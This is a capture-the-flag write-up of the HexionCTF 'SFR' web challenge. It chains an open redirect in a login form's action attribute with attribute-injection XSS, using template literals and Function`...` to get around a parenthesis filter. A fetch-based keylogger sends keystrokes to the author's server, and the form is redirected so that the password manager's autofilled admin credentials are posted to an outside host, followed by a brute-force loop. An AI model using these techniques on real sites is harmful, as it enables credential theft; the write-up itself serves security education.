SFR // HexionCTF
We get some webapp.
we try to login with user=”aasd”
and “password” – and we’re in! Aren’t we?
.
That’s cool, so we get to send to the admin some url and he’ll
probably enters it, right?
Well… Yes, if we put our ip we get some response (opening up
my own AWS instance with some small python server listener gave this result):
34.76.228.102 - - [12/Apr/2020 01:34:02] "GET /
HTTP/1.1" 404 –
Sweet. What’s next?
The hint says that:
1. The password is after login.
2. The admin have password manager installed.
Trying to login with “admin”/”admin” just for test gave us
this result: “Invalid Credentials” – cool so it means we want to get it’s
password right (also they say in the challenge the password waits for us there).
Vulnerabilities
1. Open-Redirection:When you login you see
this:
b.
Oh, cool, so what can be
next would you ask?
c.
First, any site can be here
i.
E.g – awesome open
redirection vuln.
ii.
But, what it does with this
IP?
iii.
Yes, you guessed correctly,
this will be placed in the form action area.
So, the first vulnerability
open-redirection looks like this code-wise:
<form method="post" action=OUR_NEXT_GET_PARAM>
<input
name="username" id="sfrusername" type="text"
placeholder="Username"/>
<br>
<input
name="password" id="sfrpassword" type="password"
placeholder="Password" />
<br>
<button
class="good" type="submit">Login</button>
</form>
2 2. XSS: Well, not just that
of-course, as it can lead us also to xss vuln code:
At first, I was trying to place in
there “/> <script>alert(1)</script>” – but got no response / response
sanitize, so there is probably a sanitation, right? … well not quite exactly.
Well placing this (http://CHALL_SITE/login?next=http://www.barakolo.me%20onclick=alert``)
will get us:
<form method="post"
action=http://www.barakolo.me onclick=alert``>
<input
name="username" id="sfrusername" type="text"
placeholder="Username"/>
<br>
<input
name="password" id="sfrpassword" type="password"
placeholder="Password" />
<br>
<button
class="good" type="submit">Login</button>
</form>
This will actually add event
handler that can do arbitrary Js in this site! Cool! (no csp whatsoever, nice
nice nice).
This will actually pop-up a message
when we click on login button – cool.
We placed `` to bypass the checks
for () which aren’t allowed in this scenario.
Nice, So what now? Let’s see if we
get some response admin enters this site when we will sent to him this xss.
Well, unfortunately it didn’t
work, why?
Well probably mouse isn’t used
there at all, so how can after all trigger js code?
Triggering JS at load:
I started to put any onX event
handlers to see what gave me a response.
Keep also in mind we need to place
a valid param (no () and other chars like >< are sanitized as well)
I have put this:
This WORKED! We got some response
back to us, nice.
Now , finding minimal exploit that
sends back info to our server, was a game of like trying this:
and also this right after
And trying this also worked so
Cool, so wait wait – then it
probably means that user entering keyboard events? Does it?
All the password-manager:
In the next step according to the
challenge description – the admin has password manager, oh cool cool – so the
user enters its password there right? Sounds interesting.
In this stage I thought about this
scenario:
If the password manager (we don’t
know which password manager it is) supports auto-fill and auto-login kinda ways
maybe we can trigger it – and make the user send to us user and password!! Why?
Because this is exactly the form action so if we can trigger it to fill and
submit we are winning, right?
Trying this:
1.
Send some js that sets
autocomplete attrs to correct for username and password might also click the
submit button when finish filling, right?
So this was the next thing I tried,
which sets autocomplete attributes & and in the end you can see also that I
added some xhr request- why? To sniff some
of the keyboard keys to get back to us probably 😊
Cool, But it didn’t worked unfortunately,
the message didn’t submitted and we didn’t got any POST message in our
web-server.
What’s next?
Yes you guessed that right – let’s
try hook the keyboard messages to see what’s in there.
Couple of challenges here:
1.
Write arbitrary js code –
many things are sanitized (“<>()” and ” is kinda part of termination for
this eventhandler), request line limited by 4094 (we actually get this number
as a response if we will put big enough number). So not any arbitrary code can
be written this way.
2.
I found that we probably don’t
really get all xhr requests we’re doing / keyboard-messages – why? Maybe because
the user closes really fast it’s browser? Maybe the user have delayed
connection and up/down from internet connection? We can’t really know – what we
do know that according to this we kinda want our js code to sniff what it can
from the password manager kinda and close fast.
3.
Some XHR requests came to
my server un-ordered which made it a bit difficult to assume which letter came
before the other (it can also be by the server / connection / the way maybe AWS
handles new tcp connections that come to the server and many many kinda more,
my focus isn’t to improve AWS so I thought to make it a little better).
Solution for arbitrary JS:
eval is ok (and also great) to do 😊
sooo – let’s utilize some cool unicode encoding:
eval(‘ANY ARBITRARY JSCODE WITH UNICODE ENCODING LIKE \uXXXX’)
… but wait? Didn’t we say () isn’t allowed? Yes you’re pretty right.
But this works as well eval`document.cookie=1` - it’s
actually cool thing called template literals in js.
Nice, But eventually – remember, I wanted to hook some event
listener into keypress events or something like that, how?
Usually its done like this: e.addEventListener(function(e) {I
am here}); - but here we CANNOT replace the () as it’s not template literal. Bummer.
So what can we do?
Let’s just define it!
Function`UNICODE-ENCODING-JS-CODE` - cool! It works.
I used this method to define arbitrary js code which runs
whenever user clicks our site. It looks like this:
Writing JS-Keylogger:
Let’s try to keylog anything user enters and get the password
right? Well well, hell yeah 😊
I next tried to put function(e) {fetch(‘MY_SITE’ + e.keyCode)}
– anf got the cool word!! “admin”!!! yes so it probably autofills stuff for an admin,
right?
Let’s try to get the password – I tried to change the input
form which my event listener was hooked on but to my surprise. I was getting a
lot of message, weird keyboard pressed with many values – so maybe, I think, I
thought it was password-manager (probably an extension?) trying to auto-fill forms
and stuff to setup other data relevant to him.
When unexpcted thing occurred when I’ve observed – user had
more input elements – than I did in my screen. So I tried to capture many of
these but got many non-relevant probably data, for example like this:
GET /112/0 HTTP/1.1
34.76.228.102 - -
[13/Apr/2020 11:31:49] code 404, message File not found
34.76.228.102 - -
[13/Apr/2020 11:31:49] "GET /112/0 HTTP/1.1" 404 -
GET /67/1 HTTP/1.1
34.76.228.102 - -
[13/Apr/2020 11:31:49] code 404, message File not found
34.76.228.102 - -
[13/Apr/2020 11:31:49] "GET /67/1 HTTP/1.1" 404 -
GET /51/2 HTTP/1.1
….
The number after it – means the order they where captured to
tryina maintain some order, unfortunately it stull seemed to be a little unordered
when it reached our servers and mainly we wasn’t really sure what was the
correct input form was.
Just Posting Back to-us:
Wait, but this fills a login string with open-redirection –
then why not post it back to us?
What do you mean? Let’s place action=OUR_SITE, when form is submitted
the current user/password filled is the correct relevant password, right? COOL!
Doing this and placing this string got me that kinda cool
thing:
One of the requests where:
('POST request,\nPath:
%s\nHeaders:\n%s\n\nBody:\n%s\n', '/', 'Host: 54.175.112.255\r\nUser-Agent:
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\r\nAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language:
en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type:
application/x-www-form-urlencoded\r\nContent-Length: 39\r\nConnection:
keep-alive\r\nUpgrade-Insecure-Requests: 1\r\n', 'username=admin&password=j6QlMyx4lf2bSZp')
Oh yesss!!! So the password is j6QlMyx4lf2bSZp right?
Well not quite yet..
Remember, we do submit in some time after we seen enough keyboard
presses and just before we can do submit anymore kinda (probably because the
window is gonna be closed after some time/scenario).
So, we wait for the last letter entered in some input and
call submit, does it mean all the password was managed to be written? Well,
unfortunately – really really not sure 😊
I tried this couple of times and put this password and it wasn’t
working… but..
Famous Last words:
We probably got *almost* all the password, why? Well, remember that what we did was to wait for some keyboard messages to stop (I've counted how many messages I've seen maximal in the server side and set to submit the for when this number is reached), so maybe also the user exits
sometimes *before* all the password gets written.
So, one way is to assume letter or two are missing in
the end, let’s try that then, so for our game I have tried running this:
for i in string.printable:
res
= (s.post('http://34.76.228.102:2003/login',
data={'username': 'admin',
'password': 'j6QlMyx4lf2bSZp' + i}).text)
if 'Invalid' not in res:
print(res)
Amazing, so we finally got this as response:
hexCTF{pa55w0rd_m4nag3rs_c4n_hav3_vuln3rabilit1es_t00}
Cool, been there, done that 😊